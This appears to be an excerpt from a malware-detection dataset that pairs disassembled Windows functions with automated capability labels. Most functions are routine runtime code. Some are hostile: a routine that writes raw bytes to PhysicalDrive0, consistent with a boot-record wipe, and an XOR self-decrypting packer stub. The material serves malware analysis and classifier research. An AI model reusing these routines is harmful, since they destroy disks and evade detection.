joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a6fe0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rbx, rcx
xor edx, edx
lea rcx, [rbp - 0x70]
mov r8d, 0x200
call fcn.1400e6150
mov r10d, 0x6f
mov dword [rbp + 0x1d8], 0x200
lea rax, [rbp + 0x1e8]
mov dword [rsp + 0x70], 0x740066
mov r13d, 0x68
mov dword [rbp - 0x7a], 0x700061
mov r9d, 0x20019
mov dword [rsp + 0x74], 0x43005c
lea r8d, [r10 + 3]
mov dword [rsp + 0x6a], 0x73006f
lea rdx, [rsp + 0x50]
mov word [rsp + 0x68], r8w
mov word [rbp - 0x7c], r8w
lea r15d, [r10 - 0x22]
mov dword [rsp + 0x58], 0x410057
mov dword [rsp + 0x78], 0x790072
mov dword [rsp + 0x60], 0x4d005c
mov dword [rsp + 0x7c], 0x740070
mov dword [rsp + 0x64], 0x630069
mov dword [rbp - 0x80], 0x67006f
mov dword [rsp + 0x5c], 0x450052
mov dword [rsp + 0x50], 0x4f0053
mov dword [rsp + 0x54], 0x540046
mov dword [rbp - 0x74], 0x79
mov word [rsp + 0x6e], r10w
mov word [rbp - 0x76], r13w
mov qword [rsp + 0x20], rax
call fcn.140059a00
test eax, eax
jne 0x1400a71b6
mov rcx, qword [rbp + 0x1e8]
lea rax, [rbp + 0x1d8]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x1e0]
lea rax, [rbp - 0x70]
mov dword [rsp + 0x38], 0x6e0069
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x44], 0x64
mov dword [rsp + 0x3c], 0x470065
mov dword [rsp + 0x32], 0x630061
mov dword [rsp + 0x40], 0x690075
mov word [rsp + 0x30], r15w
mov word [rsp + 0x36], r13w
call fcn.140059ad0
test eax, eax
je 0x1400a7192
lea rax, [rbp + 0x1e8]
mov r9d, 0x20119
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call fcn.140059a00
test eax, eax
jne 0x1400a71b6
mov rcx, qword [rbp + 0x1e8]
lea rax, [rbp + 0x1d8]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x1e0]
lea rax, [rbp - 0x70]
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call fcn.140059ad0
test eax, eax
jne 0x1400a71b6
mov r9, 0xffffffffffffffff
lea r8, [rbp - 0x70]
mov edx, 0x800
mov rcx, rbx
call fcn.140102a58
mov rcx, qword [rbp + 0x1e8]
call fcn.140059cc0
mov rbx, qword [rsp + 0x2d0]
add rsp, 0x290
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400a7290
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xcc0
lea rbp, [rsp + 0x30]
mov r13d, 0x72
mov qword [rbp + 0xcd0], rbx
mov eax, 0x43
mov dword [rbp + 0x6e], 0x720075
mov word [rbp + 0x6c], ax
mov rsi, rcx
mov eax, 0x52
mov dword [rbp + 0x56], 0x690057
mov word [rbp + 0x3c], ax
lea r11d, [r13 - 0xd]
mov eax, 0x4d
mov dword [rbp + 0x44], 0x630069
lea r10d, [r13 - 3]
mov word [rbp + 0x42], ax
xor edx, edx
mov dword [rbp + 0x38], 0x410057
mov r8d, 0x800
mov dword [rbp + 0x3e], 0x5c0045
lea rcx, [rbp + 0x490]
mov dword [rbp + 0x30], 0x4f0053
mov dword [rbp + 0x4a], 0x73006f
xor edi, edi
mov dword [rbp + 0x4e], 0x66006f
mov dword [rbp + 0x7e], 0x730072
mov dword [rbp + 0x34], 0x540046
mov dword [rbp + 0x64], 0x4e0020
mov dword [rbp + 0x74], 0x6e0065
mov dword [rbp + 0x82], 0x6f0069
mov dword [rbp + 0x52], 0x5c0074
mov dword [rbp + 0x68], 0x5c0054
mov dword [rbp + 0x78], 0x560074
mov dword [rbp + 0x60], 0x730077
mov dword [rbp + 0x5a], 0x64006e
mov word [rbp + 0x72], r13w
mov word [rbp + 0x48], r13w
mov dword [rbp + 0x86], 0x6e
mov word [rbp + 0x5e], r10w
mov word [rbp + 0x7c], r11w
mov dword [rbp + 0x12], 0x64006f
mov dword [rbp + 0x16], 0x630075
mov dword [rbp + 0xc], 0x50006c
mov dword [rbp + 8], 0x610074
mov dword [rbp + 0x1a], 0x490074
mov dword [rbp + 4], 0x690067
mov dword [rbp + 0x1e], 0x64
mov dword [rbp], 0x690044
mov word [rbp + 0x10], r13w
call fcn.1400e6150
lea rax, [rbp + 0xce0]
mov dword [rbp + 0xcd8], 0x800
mov r9d, 0x101
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x30]
call fcn.140059a00
test eax, eax
jne 0x1400a7508
mov rcx, qword [rbp + 0xce0]
lea rax, [rbp + 0xcd8]
mov qword [rsp + 0x28], rax
lea rdx, [rbp]
lea rax, [rbp + 0x490]
xor r9d, r9d
mov qword [rsp + 0x20], rax
call fcn.140059ad0
test eax, eax
jne 0x1400a74fc
xor edx, edx
lea rcx, [rbp + 0x90]
mov r8d, 0x400
call fcn.1400e6150
mov r8d, dword [rbp + 0xcd8]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x490]
call fcn.1400a7220
lea rcx, [rbp + 0x90]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rcx + rax], dil
jne 0x1400a7470
lea edx, [rax + 1]
cmp edx, 0x3fffffff
jg 0x1400a74e5
movsxd rcx, eax
lea rcx, [rcx*2 + 2]
lea rax, [rcx + 0xf]
cmp rax, rcx
ja 0x1400a74a2
movabs rax, 0xffffffffffffff0
and rax, 0xfffffffffffffff0
call fcn.1400e3c00
sub rsp, rax
lea rbx, [rsp + 0x30]
test rbx, rbx
je 0x1400a74e5
mov dword [rsp + 0x28], edx
lea r8, [rbp + 0x90]
xor edx, edx
mov word [rbx], di
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rbx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
cmove rbx, rdi
mov rdi, rbx
mov r9, 0xffffffffffffffff
mov r8, rdi
mov edx, 0x800
mov rcx, rsi
call fcn.140102a58
mov rcx, qword [rbp + 0xce0]
call fcn.140059cc0
mov rbx, qword [rbp + 0xcd0]
lea rsp, [rbp + 0xc90]
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400a90c0
Capabilities:
Check http status code

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x80
mov rdi, rcx
xor sil, sil
call fcn.140005850
movzx edx, al
lea rcx, [rsp + 0xc0]
call fcn.140005a50
nop
mov rdx, qword [rax]
xor ebp, ebp
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], 0xf
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rdx + r8], bpl
jne 0x1400a9110
lea rcx, [rsp + 0x40]
call fcn.140004ba0
xor ecx, ecx
call fcn.1400a7f40
mov r8d, eax
mov r14d, 1
mov r9d, r14d
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400a7d50
nop
mov rdx, qword [rsp + 0xc0]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], ebx
sub ebx, r14d
jg 0x1400a9163
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
cmp byte [rdi + 0x20], 0
je 0x1400a9253
lea rcx, [rsp + 0x60]
call fcn.1400a7f60
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400a9182
mov rax, qword [rax]
mov dword [rsp + 0x30], 0x4080000
lea r8, [0x140149634]
mov rdx, rax
mov rcx, qword [rdi + 0x30]
call fcn.14005b310
mov rbx, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400a91dd
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400a91d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400a926d
call fcn.1400e2dec
mov qword [rsp + 0x70], rbp
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
test rbx, rbx
je 0x1400a924b
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.14005b7d0
mov dword [rsp + 0xb0], ebp
mov dword [rsp + 0xb8], 4
lea r9, [rsp + 0xb8]
lea r8, [rsp + 0xb0]
mov edx, 0x20000013
mov rcx, rbx
call fcn.14005b640
movzx esi, sil
cmp dword [rsp + 0xb0], 0xc8
cmove esi, r14d
mov rcx, rbx
call fcn.14005b4d0
mov rcx, rdi
call fcn.1400a7de0
movzx eax, sil
add rsp, 0x80
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.1400f3490
int3
Function at 0x1400d7bf8
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x1400c0456
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x1400c0439
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x1400c0424

Function at 0x1401014c0
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140101210
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140101210
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140101210
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140101210
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140101210
cmp dword [rcx + 0x84], 0xe
jbe 0x140101210
cmp dword [rcx + 0xf8], esi
je 0x140101210
mov ecx, r14d
call fcn.1401013d4
mov ecx, 2
call fcn.1401064f8
nop
cmp byte [0x140161c28], 0
jne 0x1401012da
mov r15d, 1
mov eax, r15d
xchg dword [0x140161c18], eax
test ebx, ebx
jne 0x140101283
mov rdi, qword [0x14015f038]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140161c20]
cmp rcx, rax
je 0x14010127a
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140003d90]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x1401621b0]
jmp 0x14010128f
cmp ebx, r15d
jne 0x140101295
lea rcx, [0x1401621c8]
call fcn.14011466c
nop
test ebx, ebx
jne 0x1401012ac
lea rdx, [0x1401326d0]
lea rcx, [0x1401326b0]
call fcn.140114bf8
lea rdx, [0x1401326e0]
lea rcx, [0x1401326d8]
call fcn.140114bf8
movzx eax, byte [0x140161c28]
test esi, esi
cmove eax, r15d
mov byte [0x140161c28], al
jmp 0x1401012da
mov ecx, 2
call fcn.14010654c
test esi, esi
jne 0x1401012f1
mov ecx, r14d
call fcn.14010130c
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x1401011a0
Function at 0x14011cb44
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x14011c770
call fcn.1400f361c
mov dword [rax], 0x16
call fcn.1400f3470
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14011c758
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x14011c758
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x14011c7a2
lock or dword [rax + 0x14], 0x10
jmp 0x14011c758
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x14011c7bf
mov rcx, qword [rbp + 0x10]
call fcn.14011e890
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.140118acc
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.14011df18
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x14011c816
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x14011c758
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x14011c882
mov rcx, qword [rbp + 0x10]
call fcn.140118acc
cmp eax, 0xffffffff
je 0x14011c869
mov rcx, qword [rbp + 0x10]
call fcn.140118acc
cmp eax, 0xfffffffe
je 0x14011c869
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.140118acc
movsxd rdi, eax
lea rsi, [0x140162890]
mov rcx, rbx
sar rdi, 6
call fcn.140118acc
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x14011c870
lea rax, [0x14015f400]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14011c882
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x14011c8b8
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x14011c8b4
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x14011c8b4
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x14011c75b
jmp 0x14011c728
Function at 0x140029bbc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d294
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d294
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029d0c
cmp rax, 0xffffffffffffffff
je 0x140029d0c
xor edi, edi
test rbp, rbp
jle 0x140029cb7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001fbc0
mov rbx, rax
test rax, rax
jne 0x140029c44
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029cad
mov edx, 0x8000
mov ecx, r14d
call fcn.14001abfc
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001df70
cmp eax, 0xffffffff
je 0x140029c8d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029c54
mov edx, r15d
mov ecx, r14d
call fcn.14001abfc
jmp 0x140029cad
cmp byte [rsi + 0x38], dil
je 0x140029ca4
cmp dword [rsi + 0x34], 5
jne 0x140029ca4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029cad
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b960
jmp 0x140029d20
jns 0x140029d20
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d294
cmp rax, 0xffffffffffffffff
jne 0x140029cd8
cmp byte [rsi + 0x30], dil
je 0x140029d20
mov edi, dword [rsi + 0x2c]
jmp 0x140029d20
mov ecx, r14d
call fcn.1400190b8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029d20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029d20
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029d19
mov eax, dword [rsi + 0x2c]
jmp 0x140029d1e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d294
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ae10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ae38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002ae38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140f63038
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f63042
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f6306b
pop rbp
sub rbp, 0x33
sub rbp, 0xf63038
sub rsp, 0x20
jmp 0x140f6308a
mov rax, 0xf63038
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffff93c96fe9
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f630a9
jmp 0x140f630c0
movabs eax, dword [0xe9e9e9d560620060]
movabs eax, dword [0xe8a1e9e9e8e12868]
add byte [rcx - 0x161ed6d2], ah
jmp 0x16c24d2c6
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x14000baa0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x14000bab0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.140008ae0
jmp 0x14000123c
mov rax, qword [0x14000bab0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x14000bab0]
mov dword [rax], 1
mov rax, qword [0x14000bb00]
mov rdx, rax
mov rax, qword [0x14000baf0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x14000f024], 1
mov rax, qword [0x14000bab0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x14000bae0]
mov rdx, rax
mov rax, qword [0x14000bad0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x14000bab0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x14000baa0]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x14000ba00]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x14000ba00]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.1400022e8
mov rax, qword [0x14000bb40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x14000ba90]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140001ae0
mov eax, dword [0x14000f004]
lea rdx, [0x14000f008]
mov ecx, eax
call fcn.14000147c
call fcn.140001877
mov rax, qword [0x14000ba20]
mov rax, qword [rax]
mov rdx, qword [0x14000f010]
mov qword [rax], rdx
mov rcx, qword [0x14000f010]
mov rdx, qword [0x14000f008]
mov eax, dword [0x14000f004]
mov r8, rcx
mov ecx, eax
call fcn.1400093f0
mov dword [0x14000f01c], eax
mov eax, dword [0x14000f020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14000f01c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x14000f024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14000f01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000ba50]
mov dword [rax], 1
mov rax, qword [0x14000ba60]
mov dword [rax], 1
mov rax, qword [0x14000ba70]
mov dword [rax], 1
mov rax, qword [0x14000ba10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001af0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.1400088d0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x1400027c2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000f168]
test eax, eax
je 0x14000285a
lea rax, [0x14000f140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000f170]
mov qword [rbp - 8], rax
jmp 0x14000283e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002832
cmp qword [rbp - 0x10], 0
je 0x140002832
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400027f8
lea rax, [0x14000f140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000285b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x1400110aa
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400117c0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14002209f]
call fcn.140011370
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x10000000
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 4]
mov r8d, 0x200
lea rdx, [0x140019bb0]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x40]
lea rdx, [0x140019e70]
call fcn.14001130c
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.1400111b8
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140011203
Capabilities:
Terminate process

Disassembly:
jmp 0x140012d00
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011280
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014090
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400140b0
xor al, al
jmp 0x140014131
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400140c3
xor al, al
jmp 0x140014131
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400140ed
xor al, al
jmp 0x140014131
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014101
xor al, al
jmp 0x140014131
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014113
xor al, al
jmp 0x140014131
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001412f
xor al, al
jmp 0x140014131
mov al, 1
add rsp, 0x38
ret